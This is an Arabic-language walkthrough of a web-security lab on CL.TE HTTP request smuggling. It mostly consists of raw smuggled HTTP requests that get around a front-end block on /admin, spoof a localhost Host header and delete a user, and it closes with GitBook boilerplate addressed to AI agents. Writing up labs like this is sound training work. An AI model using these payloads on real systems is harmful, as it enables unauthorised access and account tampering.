> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/front-end-security-bypass-via-cl-te.md).

# تجاوز أمان الواجهة الأمامية عبر CL.TE

### استغلال تهريب طلبات HTTP لتجاوز ضوابط الأمان في الواجهة الأمامية، ثغرة CL.TE

يستخدم المختبر **الواجهة الأمامية** خادماً و **الواجهة الخلفية**. / الواجهة الأمامية **لا يدعم ترميز الأجزاء**، بينما يقبله الخادم الخلفي. / الوصول إلى لوحة الإدارة الموجودة في **/admin** محجوب بواسطة الواجهة الأمامية.

الهدف هو **تمرير طلب خلسة** إلى الخادم الخلفي بما يسمح بالوصول إلى لوحة الإدارة، ثم **إزالة المستخدم كارلوس**.

<figure><img src="/files/c7e2b82eee0fca857073ff25acd1b9b1175381d6" alt=""><figcaption></figcaption></figure>

#### **1. التحقق من ثغرة CL.TE**

تفسّر الواجهة الأمامية Content-Length، بينما يستخدم الخادم الخلفي Transfer-Encoding.

حمولة CL.TE الأساسية:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 5
Transfer-Encoding: chunked

0


```

هذا يُرجِع **200**، مما يؤكد أن الخادم الخلفي يأخذ `Transfer-Encoding` في الاعتبار.

<figure><img src="/files/7d8d9b6be41c205a4d46689e29f79e419a0ad144" alt=""><figcaption></figcaption></figure>

#### **2. حقن طلب مُهرّب**

عندئذٍ، عندما يتم ربط طلب بآخر، يقرأ الخادم الخلفي الطلب المُهرّب:

```http
Content-Length: 33
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
اختبار: A
```

يجيب الخادم الخلفي بأن **المستخدمين المحليين فقط** يمكنهم الوصول إلى /admin.

<figure><img src="/files/3c76893605ca4696180db5bab7d633630fd0202e" alt=""><figcaption></figcaption></figure>

#### **3. الاستيلاء على Host ليبدو محليًا**

لتجاوز القيد، يجب أن يعتقد الخادم الخلفي أن الطلب يأتي من localhost.

المحاولة الأولى:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
```

لكن الخادم يُرجع:

```json
{
 "error":"Duplicate header names are not allowed"
}
```

لذلك لا يفسّر الخادم الخلفي هذا الطلب على أنه طلب جديد كامل.

### **4. إنشاء طلب مُهرّب صحيح**

ملف `Content-Length` يُضاف إلى الطلب المهرّب، بحيث تتم معالجته بشكل صحيح:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: 127.0.0.1
Content-Length: 9

test=test
```

لكي يقرأ الخادم الخلفي الطلب بشكل صحيح، نعدّل الحجم:

```http
Content-Length: 10
```

يصبح الطلب الكامل المرسل إلى الواجهة الأمامية:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

test=test
```

<figure><img src="/files/3f06b70ef43e8802d5a0134dcf8f5f2c0fff2781" alt=""><figcaption></figcaption></figure>

#### **5. إزالة مستخدم كارلوس**

الآن ما عليك سوى استبدال سطر GET بأمر الحذف:

```http
Content-Length: 97
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 10

test=test
```

<figure><img src="/files/4a4743bd40f94a388629a9377b432f12cce391da" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/front-end-security-bypass-via-cl-te.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
